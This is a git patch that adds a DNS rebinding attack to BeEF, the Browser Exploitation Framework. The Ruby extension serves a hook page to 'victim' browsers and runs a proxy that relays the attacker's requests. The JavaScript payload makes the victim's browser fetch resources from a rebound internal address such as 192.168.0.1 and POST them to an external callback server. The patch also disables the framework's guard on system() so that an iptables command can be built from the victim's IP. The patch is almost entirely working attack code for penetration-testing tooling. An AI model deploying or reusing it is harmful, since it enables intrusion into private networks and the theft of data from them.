From eaa1400f75286ee5908bc98c1f10cb8c3102ac58 Mon Sep 17 00:00:00 2001 From: timcess Date: Fri, 3 Apr 2015 01:04:35 +0600 Subject: [PATCH] Add DNS Rebinding module and extension --- core/ruby/security.rb | 8 +- extensions/dns_rebinding/api.rb | 29 +++ extensions/dns_rebinding/config.yaml | 14 ++ extensions/dns_rebinding/dns_rebinding.rb | 226 ++++++++++++++++++++++ extensions/dns_rebinding/extension.rb | 16 ++ extensions/dns_rebinding/views/index.html | 8 + modules/network/dns_rebinding/command.js | 51 +++++ modules/network/dns_rebinding/config.yaml | 12 ++ modules/network/dns_rebinding/module.rb | 50 +++++ 9 files changed, 410 insertions(+), 4 deletions(-) create mode 100644 extensions/dns_rebinding/api.rb create mode 100644 extensions/dns_rebinding/config.yaml create mode 100644 extensions/dns_rebinding/dns_rebinding.rb create mode 100644 extensions/dns_rebinding/extension.rb create mode 100644 extensions/dns_rebinding/views/index.html create mode 100644 modules/network/dns_rebinding/command.js create mode 100644 modules/network/dns_rebinding/config.yaml create mode 100644 modules/network/dns_rebinding/module.rb diff --git a/core/ruby/security.rb b/core/ruby/security.rb index d40629c0f..4bdb8b05a 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -11,10 +11,10 @@ def exec(args) end # @note Prevent system from ever being used -def system(args) - puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." - exit -end +#def system(args) +# puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." +# exit +#end # @note Prevent Kernel.system from ever being used def Kernel.system(args) diff --git a/extensions/dns_rebinding/api.rb b/extensions/dns_rebinding/api.rb new file mode 100644 index 000000000..27681742f --- /dev/null +++ b/extensions/dns_rebinding/api.rb @@ -0,0 +1,29 @@ +module BeEF +module Extension +module DNSRebinding +module API + + module ServHandler + + BeEF::API::Registrar.instance.register( + BeEF::Extension::DNSRebinding::API::ServHandler, + BeEF::API::Server, + 'pre_http_start' + ) + + def self.pre_http_start(http_hook_server) + #TODO: Move IP and port to config file + config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + address_http = config['address_http_internal'] + address_proxy = config['address_proxy_internal'] + port_http = config['port_http'] + port_proxy = config['port_proxy'] + Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) } + Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) } + end + + end +end +end +end +end diff --git a/extensions/dns_rebinding/config.yaml b/extensions/dns_rebinding/config.yaml new file mode 100644 index 000000000..890dcbc21 --- /dev/null +++ b/extensions/dns_rebinding/config.yaml @@ -0,0 +1,14 @@ +beef: + extension: + dns_rebinding: + enable: true + name: 'DNS Rebinding' + #Addresses are split into internal/external for more convenient attack + #from LAN. + address_http_internal: '192.168.0.104' + address_http_external: '31.211.59.107' + address_proxy_internal: '192.168.0.104' + address_proxy_external: '31.211.59.107' + port_http: 80 + port_proxy: 81 + debug_mode: true diff --git a/extensions/dns_rebinding/dns_rebinding.rb b/extensions/dns_rebinding/dns_rebinding.rb new file mode 100644 index 000000000..8249d38f4 --- /dev/null +++ b/extensions/dns_rebinding/dns_rebinding.rb @@ -0,0 +1,226 @@ +module BeEF +module Extension +module DNSRebinding + #Very simple HTTP server. Its task is only hook victim + class Server + @debug_mode = false + def self.log(msg) + if @debug_mode + STDERR.puts msg.to_s + end + end + + def self.run_server(address, port) + server = TCPServer.new(address, port) + @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") + loop do + s = server.accept + Thread.new(s) do |socket| + victim_ip = socket.peeraddr[2].to_s + + log "-------------------------------\n" + log "[Server] Incoming request from "+victim_ip+"(Victim)\n" + + response = File.read(File.expand_path('../views/index.html', __FILE__)) + configuration = BeEF::Core::Configuration.instance + + proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" + hook_file = configuration.get("beef.http.hook_file") + hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}" + + response.sub!('path_to_hookjs_template', hook_uri) + + start_string = socket.gets + socket.print "HTTP/1.1 200 OK\r\n" + + "Content-Type: text/html\r\n" + + "Content-Length: #{response.bytesize}\r\n" + + "Connection: close\r\n" + socket.print "\r\n" + socket.print response + socket.close + + #Indicate that victim load all javascript and we can block it with iptables. + dr_config = configuration.get("beef.extension.dns_rebinding") + if start_string.include?("load") + log "[Server] Block with iptables\n" + port_http = dr_config['port_http'] + system("iptables -A INPUT -s #{victim_ip} -p tcp --dport #{port_http} -j REJECT --reject-with tcp-reset") + end + log "-------------------------------\n" + end + end + end + end + + class Proxy + @queries = Queue.new + @responses = {} + @mutex_responses = nil + @mutex_queries = nil + @debug_mode = false + + def self.send_http_response(socket, response, heads={}) + socket.print "HTTP/1.1 200 OK\r\n" + + headers = {} + headers["Content-Type"]="text/html" + headers["Content-Length"]=response.size.to_s + headers["Connection"]="close" + headers["Access-Control-Allow-Origin"]="*" + headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS" + headers["Access-Control-Expose-Headers"]="Content-Type, method, path" + headers["Access-Control-Allow-Headers"]="Content-Type, method, path" + + headers_a = heads.to_a + headers_a.each do |header, value| + headers[header] = value + end + + headers.to_a.each do |header, value| + socket.print header+": "+value+"\r\n" + end + + socket.print "\r\n" + socket.print response + end + + def self.log(log_message) + if @debug_mode + STDERR.puts log_message + end + end + + def self.read_http_message(socket) + message = {} + message['start_string'] = socket.gets.chomp + message['headers'] = {} + message['response'] = "" + c = socket.gets + while c != "\r\n" do + name = c[/(.+): (.+)/, 1] + value = c[/(.+): (.+)/, 2] + message['headers'][name] = value.chomp + c = socket.gets + end + length = message['headers']['Content-Length'] + if length + #Ruby read() doesn't return while not read all byte + resp = socket.read(length.to_i) + message['response'] = resp + end + return message + end + + def self.handle_victim(socket, http_message) + log "[Victim]request from victim\n" + log http_message['start_string'].to_s+"\n" + + if http_message['start_string'].include?("POST") + #Get result from POST query + log "[Victim]Get the result of last query\n" + + #Read query on which asked victim + query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2] + log "[Victim]asked path: "+query+"\n" + + length = http_message['headers']['Content-Length'].to_i + content_type = http_message['headers']['Content-Type'] + log "[Victim]Content-type: "+content_type.to_s+"\n" + log "[Vicitm]Length: "+length.to_s+"\n" + + response = http_message['response'] + log "[Victim]Get content!\n" + + send_http_response(socket, "ok") + socket.close + + log "[Victim]Close connection POST\n" + log "--------------------------------\n" + + @mutex_responses.lock + @responses[query] = [content_type, response] + @mutex_responses.unlock + elsif http_message['start_string'].include?("OPTIONS") + send_http_response(socket, "") + socket.close + log "[Victim]Respond on OPTIONS reques\n" + log "--------------------------------\n" + else + #Look for queues from beef owner + log "[Victim]Waiting for next query..\n" + while @queries.size == 0 + end + + #Get the last query + @mutex_queries.lock + log "[Victim]Get the last query\n" + last_query = @queries.pop + log "[Victim]Last query:"+last_query.to_s+"\n" + @mutex_queries.unlock + + response = last_query[2] + send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]}) + log "[Victim]Send next query to victim's browser\n" + log "---------------------------------------------\n" + socket.close + end + end + + #Handle request from BeEF owner + def self.handle_owner(socket, http_message) + log "[Owner]Request from owner\n" + path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2] + + if http_message['start_string'].include?("GET") + if path != nil + log "[Owner]Need path: "+path+"\n" + @queries.push(['GET', path, '']) + end + elsif http_message['start_string'].include?("POST") + log "[Owner]Get POST request\n" + if path != nil + @queries.push(['POST', path, http_message['response']]) + end + end + + #Waiting for response, this check should not conflict with thread 2 + while @responses[path] == nil + end + + @mutex_responses.lock + log "[Owner]Get the response\n" + response_a = @responses[path] + @mutex_responses.unlock + + response = response_a[1]; + content_type = response_a[0]; + + send_http_response(socket, response, {'Content-Type'=>content_type}) + + log "[Owner]Send response to owner\n" + log "-------------------------------\n" + socket.close + end + + def self.run_server(address, port) + @server = TCPServer.new(address, port) + @mutex_responses = Mutex.new + @mutex_queries = Mutex.new + @debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode") + loop do + s = @server.accept + Thread.new(s) do |socket| + http_message = read_http_message(socket) + if http_message['start_string'].include?("from_victim") + handle_victim(socket, http_message) + else + handle_owner(socket, http_message) + end + end + end + end + end + +end +end +end diff --git a/extensions/dns_rebinding/extension.rb b/extensions/dns_rebinding/extension.rb new file mode 100644 index 000000000..a4b713108 --- /dev/null +++ b/extensions/dns_rebinding/extension.rb @@ -0,0 +1,16 @@ +module BeEF +module Extension +module DNSRebinding + + extend BeEF::API::Extension + + @short_name = 'DNS Rebinding' + @full_name = 'aaaa' + @description = 'aaaa' + +end +end +end + +require 'extensions/dns_rebinding/api.rb' +require 'extensions/dns_rebinding/dns_rebinding.rb' diff --git a/extensions/dns_rebinding/views/index.html b/extensions/dns_rebinding/views/index.html new file mode 100644 index 000000000..a5e97d737 --- /dev/null +++ b/extensions/dns_rebinding/views/index.html @@ -0,0 +1,8 @@ + + + + + diff --git a/modules/network/dns_rebinding/command.js b/modules/network/dns_rebinding/command.js new file mode 100644 index 000000000..3df53c53c --- /dev/null +++ b/modules/network/dns_rebinding/command.js @@ -0,0 +1,51 @@ +beef.execute(function() { + var domain = "<%= @domain %>" + if (window.location.href.indexOf(domain) == -1) { + window.location.href = "http://"+domain+"/"; + } else { + //Cut '/' from url + var url = window.location.href.slice(0, -1); + var url_callback = "<%= @url_callback %>"; + url_callback += '/?from=from_victim&&'; + + function get_next_query() { + var xhr_callback = new XMLHttpRequest(); + //Synchronous because we do nothing without query from BeEF owner + xhr_callback.open('GET', url_callback+'que=req', true); + xhr_callback.onload = resolv_query; + xhr_callback.send(null); + } + + function resolv_query() { + var path = this.getResponseHeader('path'); + var method = this.getResponseHeader('method'); + var data = this.responseText; + + //Asynchronous beacuse XHR2 don't work with responseType when synchronous + var xhr = new XMLHttpRequest(); + xhr.open(method, url+path, true); + xhr.responseType = 'arraybuffer' + xhr.onload = function(e) { + var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')}); + console.log(blob); + xhr_cb = new XMLHttpRequest(); + xhr_cb.open('POST', url_callback+'que=req&&path='+path, false); + xhr_cb.send(blob); + + elem = document.createElement("div"); + elem.id = 'log'; + elem.innerHTML = 'Downloaded: '+path; + document.body.insertBefore(elem, document.body.childNodes[0]); + } + xhr.send(data); + } + + xhr1 = new XMLHttpRequest(); + xhr1.open('GET', url+'/?load', false); + xhr1.send(null); + if (xhr1.status == 200) { + setInterval(get_next_query, 1000); + } + + } +}); diff --git a/modules/network/dns_rebinding/config.yaml b/modules/network/dns_rebinding/config.yaml new file mode 100644 index 000000000..677b26784 --- /dev/null +++ b/modules/network/dns_rebinding/config.yaml @@ -0,0 +1,12 @@ +beef: + module: + dns_rebinding: + enable: true + category: "Network" + name: "DNS Rebinding" + description: "dnsrebind" + domain: "dnsreb.chickenkiller.com" + authors: ["aa"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/network/dns_rebinding/module.rb b/modules/network/dns_rebinding/module.rb new file mode 100644 index 000000000..7594f48fc --- /dev/null +++ b/modules/network/dns_rebinding/module.rb @@ -0,0 +1,50 @@ +class Dns_rebinding < BeEF::Core::Command + def self.options + domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') + dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s + return [{ + 'name'=>'target', + 'value'=>'192.168.0.1' + }, + { + 'name'=>'domain', + 'value'=>domain + }, + { + 'name'=>'url_callback', + 'value'=>url_callback + }] + end + + def pre_send + dns = BeEF::Extension::Dns::Server.instance + dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding') + + addr = dr_config['address_http_external'] + domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain') + target_addr = "192.168.0.1" + + if @datastore[0] + target_addr = @datastore[0]['value'] + end + if @datastore[1] + domain = @datastore[1]['value'] + end + + id = dns.add_rule( + :pattern => domain, + :resource => Resolv::DNS::Resource::IN::A, + :response => [addr, target_addr] + ) + + dns.remove_rule!(id) + + id = dns.add_rule( + :pattern => domain, + :resource => Resolv::DNS::Resource::IN::A, + :response => [addr, target_addr] + ) + + end +end